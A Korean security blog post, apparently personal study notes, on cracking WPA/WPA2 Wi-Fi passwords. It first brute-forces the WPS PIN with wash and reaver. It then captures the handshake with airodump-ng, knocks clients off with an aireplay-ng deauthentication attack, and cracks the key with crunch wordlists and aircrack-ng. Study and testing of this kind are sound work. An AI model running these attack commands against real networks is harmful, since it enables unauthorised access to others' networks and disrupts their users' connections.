WPA와 WPA2의 차이점
- WPA (Wi-Fi Protected Access):
- 암호화 방식: TKIP (Temporal Key Integrity Protocol)
- 보안: WEP보다 안전하지만, WPA2보다는 약함.
- WPA2:
- 암호화 방식: CCMP (Counter Mode with Cipher Block Chaining Message Authentication Code Protocol)
- 보안: WPA보다 더 강력한 보안을 제공함.
두 프로토콜 모두 WEP의 취약점을 보완하기 위해 만들어졌으며, 둘 다 기본적인 크랙킹 방법은 동일하다.
방법1. WPS의 PIN 이용
WPS (Wi-Fi Protected Setup) 란?
WPS는 기기들이 Wi-Fi 네트워크에 쉽게 연결될 수 있도록 돕는 기능이다. 보통 프린터 같은 기기를 쉽게 연결하기
위해 사용됩니다. WPS에는 크게 두 가지 인증 방식이 있는데, 특정 방법의 경우, 취약점이 존재한다.
- PBC (Push Button Configuration): 라우터와 기기의 버튼을 눌러 쉽게 연결.
- PIN 방식: 8자리 숫자로 인증.
이때, WPS PIN 방식은 보안상 취약점이 있다. 이 방법을 악용하여 WPA/WPA2 암호를 크랙하게된다.
8자리의 PIN 번호는 숫자로 이루어져 매우 짧기 때문에 무차별 대입 공격을 통해 크랙한다.
대입에 성공하여 PIN을 알아내면, 이를 이용해 키 값을 연산한다.
먼저 wash 명령어로 주변의 WSP가 활성화된 네트워크를 찾는다.
wash --interface [Interface Name]
reaver 명령어를 통해 해당 네트워크에 무차별 대입 공격(브루트 포스)을 한다.
reaver --bssid [BSSID] --channel [CH] --interface [Interface name] -vvv
# bssid : 대상 AP의 BSSID
# channel : 대상 AP의 Channel
# interface : 연결을 시도하는 호스트의 인터페이스
# vvv : 과정을 더욱 자세하게 보여줌
사진처럼 PIN 은 12345670 이며,
Key 는 : UAURWSXR 이라는 것을 볼 수 있다.
방법 2. HandShake 이용
방법1이 안되었다면 거의 대부분 WPS의 인증 수단이 PBC일 것이다.
이런 경우에는 직접 뚫어야 한다.
먼저, 핸드셰이크를 캡쳐한다. 이 핸드셰이크는 직접적으로 키를 알아내지는 못하지만,
비밀번호를 대입했을 때, 해당 비밀번호가 유효한지 아닌지를 판단하는데 사용한다.
airodump-ng --bssid [BSSID] --channel [Channel] --write [File Name] [Interface Name]
# bssid : 네트워크의 BSSID
# channel : 해당 네트워크의 채널
# write : [File Name]으로 해당 패킷을 저장
먼저, 핸드셰이크를 캡쳐한다. 핸드셰이크는 클라이언트가 연결될 때 캡쳐되기 때문에 두 가지 선택지가 있다.
1. 기다린다(새로운 클라이언트를 기다린다)
2. 찰나의 시간 동안 연결해제 공격을 통해 연결을 해제 시킨다.
2번의 경우, 해제시킬 경우, 잠시 후 다시 연결 될 것이기 때문에 핸드셰이크를 캡쳐할 수 있다.
aireplay-ng --deauth [packet count] -a [Accesspoint Mac] -c [Attack Client Mac] [Interface Name]
# deauth : 연결해제 신호를 패킷수 만큼 보낸다
# a : 액세스포인트(보통 라우터)
# c : 연결을 해제할 공격 Client
아래처럼 잠깐의 연결해제 공격을 수행한다. 아주 짧기 때문에 피해자는 연결이 해제되었던 것을 모를 수도 있을 정도다.
그리고 자동으로 다시 연결되었기 때문에 상단에 HandShake가 캡쳐된 것을 볼 수 있다.
이제 crunch 명령어를 이용해서 워드리스트를 생성 후, 이를 이용해 브루트 포스 공격을 하여
핸드셰이크로 해당 비밀번호가 맞는지 아닌지 판단을 한다.
crunch [min] [max] [characters] -t [pattern] -o [filename]
# min : 문자열의 최소 길이
# min : 문자열의 최대 길이
# characters : 문자열에 포함될 문자 ex. abcd123!@#
# t : 패턴을 명시
# o : 파일로 생성
aircrack-ng [HandShake File] -w [Word_list file name]
# w : 생성한 워드리스트 파일
# 즉, wordlist를 이용해 크랙을 시도하고 HandShake 파일로 유효성을 판단한다
이제 aircrack-ng를 이용해서 크랙을 시도한다.
잠시 기다린 후 Key를 찾은것을 볼 수 있다.
즉, Wifi의 비밀번호가 : eg9fdc5998이었던 것이다.
사실 이렇게 브루트 포스로 뚫는 방법은 문자열이 길수록, 특수문자, 영어 대소문자 숫자 등이 여러개가 섞일 수록,
경우의 수가 정말 미친듯이 불어나기 때문에 좋은 방법은 아니다.
그러니까 비밀번호 만들 때 길게 대소문자와 숫자 특수문자를 써서 만들자!
'Security' 카테고리의 다른 글
WEP 해킹 (0) | 2024.05.27 |
---|---|
패킷 스니핑 - 연결 해제 공격 (0) | 2024.05.25 |
패킷 스니핑(PACKET SNIFFING) 기초 (0) | 2024.05.25 |
Kali Linux와 무선 랜 카드 Mode(Wifi) (0) | 2024.05.25 |
Hacking (0) | 2024.05.23 |
댓글